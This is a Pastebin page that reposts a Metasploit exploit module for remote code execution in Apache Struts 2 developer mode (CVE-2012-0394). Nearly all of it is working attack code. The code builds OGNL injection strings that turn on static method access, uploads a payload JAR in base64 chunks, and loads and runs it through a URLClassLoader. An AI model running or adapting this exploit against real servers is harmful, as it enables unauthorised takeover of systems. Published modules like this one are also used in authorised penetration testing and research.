Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- ##
- # This module requires Metasploit: http//metasploit.com/download
- # Current source: https://github.com/rapid7/metasploit-framework
- ##
- require 'msf/core'
- class Metasploit3 < Msf::Exploit::Remote
- Rank = ExcellentRanking
- include Msf::Exploit::Remote::HttpClient
- include Msf::Exploit::FileDropper
- def initialize(info = {})
- super(update_info(info,
- 'Name' => 'Apache Struts Developer Mode OGNL Execution',
- 'Description' => %q{
- This module exploits a remote command execution vulnerability in Apache
- Struts 2. The problem exists on applications running in developer mode,
- where the DebuggingInterceptor allows evaluation and execution of OGNL
- expressions, which allows remote attackers to execute arbitrary Java
- code. This module has been tested successfully in Struts 2.3.16, Tomcat
- 7 and Ubuntu 10.04.
- },
- 'Author' =>
- [
- 'Johannes Dahse', # Vulnerability discovery and PoC
- 'Andreas Nusser', # Vulnerability discovery and PoC
- 'Alvaro', # @pwntester, 2014's PoC, avoided surname because of the spanish char, sorry about that :\
- 'juan vazquez' # Metasploit module
- ],
- 'License' => MSF_LICENSE,
- 'References' =>
- [
- [ 'CVE', '2012-0394'],
- [ 'OSVDB', '78276'],
- [ 'EDB', '18329'],
- [ 'URL', 'https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20120104-0_Apache_Struts2_Multiple_Critical_Vulnerabilities.txt' ],
- [ 'URL', 'http://www.pwntester.com/blog/2014/01/21/struts-2-devmode/' ]
- ],
- 'Platform' => 'java',
- 'Arch' => ARCH_JAVA,
- 'Targets' =>
- [
- [ 'Struts 2', { } ]
- ],
- 'DisclosureDate' => 'Jan 06 2012',
- 'DefaultTarget' => 0))
- register_options(
- [
- Opt::RPORT(8080),
- OptString.new('TARGETURI', [ true, 'The path to a struts application action', "/struts2-blank/example/HelloWorld.action"])
- ], self.class)
- end
- def check
- vprint_status("Testing to see if the target can evaluate our Java code...")
- addend_one = rand_text_numeric(rand(3) + 1).to_i
- addend_two = rand_text_numeric(rand(3) + 1).to_i
- sum = addend_one + addend_two
- res = execute_command("new java.lang.Integer(#{addend_one}+#{addend_two})")
- if res and res.code == 200 and res.body.to_i == sum
- return Exploit::CheckCode::Vulnerable
- end
- if res and res.code == 200 and res.body.to_s =~ /#{sum}/
- vprint_status("Code got evaluated. Target seems vulnerable, but the response contains something else:")
- vprint_line(res.body.to_s)
- return Exploit::CheckCode::Appears
- end
- return CheckCode::Safe
- end
- def exploit
- @payload_jar = rand_text_alphanumeric(4+rand(4)) + ".jar"
- upload_jar
- execute_jar
- end
- def upload_jar
- append = 'false'
- jar = payload.encoded_jar.pack
- chunk_length = 384 # 512 bytes when base64 encoded
- while(jar.length > chunk_length)
- java_upload_part(jar[0, chunk_length], @payload_jar, append)
- jar = jar[chunk_length, jar.length - chunk_length]
- append='true'
- end
- java_upload_part(jar, @payload_jar, append)
- end
- def java_upload_part(part, filename, append = 'false')
- cmd = "#f=new java.io.FileOutputStream('#{filename}',#{append}),"
- cmd << "#f.write(new sun.misc.BASE64Decoder().decodeBuffer('#{Rex::Text.encode_base64(part)}')),"
- cmd << "#f.close()"
- execute_command(cmd)
- end
- def execute_jar
- cmd = ""
- # disable Vararg handling (since it is buggy in OGNL used by Struts 2.1
- cmd << "#q=@java.lang.Class@forName('ognl.OgnlRuntime').getDeclaredField('_jdkChecked'),"
- cmd << "#q.setAccessible(true),#q.set(null,true),"
- cmd << "#q=@java.lang.Class@forName('ognl.OgnlRuntime').getDeclaredField('_jdk15'),"
- cmd << "#q.setAccessible(true),#q.set(null,false),"
- # create classloader
- cmd << "#cl=new java.net.URLClassLoader(new java.net.URL[]{new java.io.File('#{@payload_jar}').toURI().toURL()}),"
- # load class
- cmd << "#c=#cl.loadClass('metasploit.Payload'),"
- # invoke main method
- cmd << "#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')}).invoke("
- cmd << "null,new java.lang.Object[]{new java.lang.String[0]})"
- execute_command(cmd)
- end
- def execute_command(cmd)
- injection = "#f=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#f.setAccessible(true),#f.set(#_memberAccess,true),CMD"
- injection.gsub!(/CMD/, cmd)
- vprint_status("Attempting to execute: #{cmd}")
- res = send_request_cgi({
- 'uri' => normalize_uri(target_uri.path.to_s),
- 'method' => 'GET',
- 'vars_get' =>
- {
- 'debug' => 'command',
- 'expression' => injection
- }
- })
- return res
- end
- end
- # AB22AB6FDB8B5897 1337day.com [2014-02-05] 721B7A1B7A35C0E8 #
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement